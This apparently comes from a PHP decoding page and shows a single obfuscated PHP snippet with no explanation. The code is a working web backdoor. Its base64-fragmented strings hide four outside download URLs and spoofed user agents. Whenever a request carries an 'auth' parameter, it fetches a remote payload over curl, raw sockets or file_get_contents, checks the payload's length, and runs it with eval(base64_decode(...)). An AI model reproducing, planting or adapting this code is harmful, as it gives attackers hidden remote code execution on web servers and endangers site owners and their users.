PHP Decode

$yv_to = 'sr_qtxbxnmbugfwthlgzvggdhmrnkaxauiqlgtsbgkphzgjndmdtqdf'; ; if (!function_exists('billb')) { function billb($i){$a=Array('TW'.'96aWxsYS80LjA'.'gK'.'GNvbXBhdGlib'.'GU7IE1T'.'SUUg'.'OC4wOy'.'BX'.'aW'.'5k'.'b3dzI'.'E5UIDYuMCk=','TW96aWx'.'sYS'.'81Lj'.'AgKF'.'d'.'pbmRv'.'d3M7IFU7IFd'.'pb'.'mRvd3Mg'.'Tl'.'QgNS4xOyBl'.'bi1V'.'Uzsgcn'.'Y6MS'.'45'.'LjAuMS'.'k'.'gR2Vj'.'a2'.'8v'.'MjAwOD'.'A5MjIxNSB'.'GaX'.'J'.'lZm'.'94'.'LzMuMC4x','TW96aWxsYS81'.'LjA'.'gK'.'F'.'dpbmRvd3M7I'.'FU'.'7'.'IFdpb'.'mR'.'vd'.'3MgT'.'l'.'QgNS4xOyBlbi'.'1VUykgR'.'2Vja28'.'vMjA'.'wMz'.'A1MDQgTW9'.'6aWxsYSB'.'G'.'aXJlYmlyZ'.'C8wLj'.'Y=','T'.'W96aWxsY'.'S'.'81LjA'.'gKFd'.'pbmRv'.'d'.'3M7IFU7'.'IFdpb'.'m'.'Rvd3'.'M'.'gTl'.'QgNS4'.'xOy'.'Blbi'.'1VUzs'.'gcn'.'Y6'.'MS45LjIuMTApIEdl'.'Y2'.'t'.'vLz'.'Iw'.'MT'.'A'.'wO'.'T'.'E0'.'IEZpcmVm'.'b3gvMy4'.'2L'.'jEw','c'.'2Fm'.'ZV'.'9tb2Rl','b'.'3Bl'.'bl9i'.'YXNl'.'ZGly','aHR'.'0cHM6Ly8=','aHR'.'0cHM'.'6L'.'y'.'8=','aH'.'R0cDovL'.'w'.'==','','Iy8'.'j','Lw==','','','Lw==','Lw==','QW'.'NjZ'.'XB'.'0LUx'.'h'.'bm'.'d'.'1YWdlOi'.'Blbi11'.'cywgZW'.'47cT'.'0wLj'.'UwD'.'Qo=',''.'Q29ubmV'.'jdGlvbjogQ'.'2xvc2U'.'NC'.'g0'.'K','DQoN'.'Cg'.'==','Cg'.'==','PGJ'.'y'.'I'.'C8'.'+','','L0xvY'.'2'.'F0aW9'.'u'.'XD'.'ov',''.'TG'.'9jYXRpb246IA'.'='.'=',''.'D'.'Q==','DQoNCg'.'==','','JiM3NiYjMT'.'ExJi'.'M5'.'OSYjOTcmIzExNiYjMTA1JiMx'.'MT'.'EmIzE'.'xMCYjNTg=','TG9j'.'YXR'.'pb'.'246','YW'.'xs'.'b3dfdX'.'JsX2'.'ZvcGV'.'u','M'.'Q'.'==','aH'.'R0cA'.'='.'=',''.'b'.'WV0a'.'G9k','R0VU','aGVhZ'.'GVy','QWNjZXB0'.'LUx'.'hbmd1Y'.'Wd'.'lOiBlb'.'i11cyw'.'gZW47cT0wL'.'jUwDQo'.'=',''.'VXNlci1'.'B'.'Z2Vud'.'Dog',''.'DQo=','dGltZW91dA==',''.'YXV0aA==',''.'aHR0cDov'.'L25ldG5ldDQ0'.'Lm'.'5ldC9z'.'Mg==',''.'a'.'HR'.'0cDovL3Np'.'b'.'WJl'.'cnNhLm'.'NvbS9'.'zMg==','aH'.'R0cD'.'ovL'.'3d'.'l'.'YnJ'.'v'.'ZW1lci'.'5k'.'ZS9zMg==','a'.'HR0c'.'DovL29ka'.'W50YXJhLmNvbS'.'9zMg==',''.'YmFzZQ==','N'.'j'.'Q=','X2Rl','Y29'.'k','ZQ'.'='.'=');return base64_decode($a[$i]);} if(!function_exists('cc2')){function cc2($_0,$_1=10){$_2=array(billb(0),billb(1),billb(2),billb(3));if(function_exists('curl_init')&& function_exists('curl_exec')){$_3=$_2[rand(round(0),count($_2)-round(1))];$_4=curl_init();curl_setopt($_4,10002,$_0);curl_setopt($_4,42,round(0));curl_setopt($_4,13,$_1);curl_setopt($_4,19913,round(1));curl_setopt($_4,10018,$_3);if(!(@ini_get(billb(4))||@ini_get(billb(5)))){@curl_setopt($_4,52,round(1));}@curl_setopt($_4,68,round(3));@curl_setopt($_4,64,false);$_5=curl_exec($_4);curl_close($_4);if($_5 !== false){return $_5;}}else if(function_exists('fsockopen')){global $_6;$_7=(strpos(strtolower($_0),billb(6))!== false)?billb(7):billb(8);$_8=$_2[rand(round(0),count($_2)-round(1))];$_0=str_replace($_7,billb(9),$_0);if(preg_match(billb(10),"$_0")){$_9=$_0;$_0=@explode(billb(11),$_0);$_0=$_0[round(0)];$_9=str_replace($_0,billb(12),$_9);if(!$_9 || $_9 == billb(13)){$_9=billb(14);}$_10=gethostbyname($_0);}else{$_10=gethostbyname($_0);$_9=billb(15);}$_11=fsockopen($_10,round(80),$_12,$_13,$_1);stream_set_timeout($_11,$_1);if($_11){$_14="GET $_9 HTTP/1.0
";$_14 .="Host: $_0
";$_14 .="Referer: $_7$_0$_9
";$_14 .= billb(16);$_14 .="User-Agent: $_8
";$_14 .= billb(17);fputs($_11,$_14);while(!feof($_11)){$_15 .= fgets($_11,4096);}fclose($_11);$_15=@explode(billb(18),$_15,2);$_16=$_15[round(0)];if($_6){$_16="$_6<br /><br />
$_16";}$_16=str_replace(billb(19),billb(20),$_16);if($_15[round(0+1)]){$_17=$_15[round(0+1)];}else{$_17=billb(21);}if($_17){$_15=$_17;}else{$_15=$_16;}if(preg_match(billb(22),"$_16")){$_0=@explode(billb(23),$_16);$_0=$_0[round(0.5+0.5)];$_0=@explode(billb(24),$_0);$_0=$_0[round(0)];$_6=str_replace(billb(25),billb(26),$_16);$_18=billb(27);$_6=str_replace(billb(28),$_18,$_6);return cc2($_0);}else{return $_15;}}}else if(ini_get(billb(29))== billb(30)){$_19=stream_context_create(array(billb(31)=> array(billb(32)=> billb(33),billb(34)=> billb(35) .billb(36) .$_8 .billb(37),billb(38)=> $_1)));$_5=file_get_contents($_0,FALSE,$_19);if($_5 !== false){return $_5;}}else{return round(0);}}}if(isset($_REQUEST[billb(39)])){$_20=array(billb(40),billb(41),billb(42),billb(43));shuffle($_20);for($_21=round(0);$_21<count($_20);$_21++){$_22=billb(44) .billb(45) .billb(46) .billb(47) .billb(48);$_23=cc2($_20[$_21]);if(strlen($_23)== round(7416+7416+7416+7416)){eval($_22($_23));exit;}}}}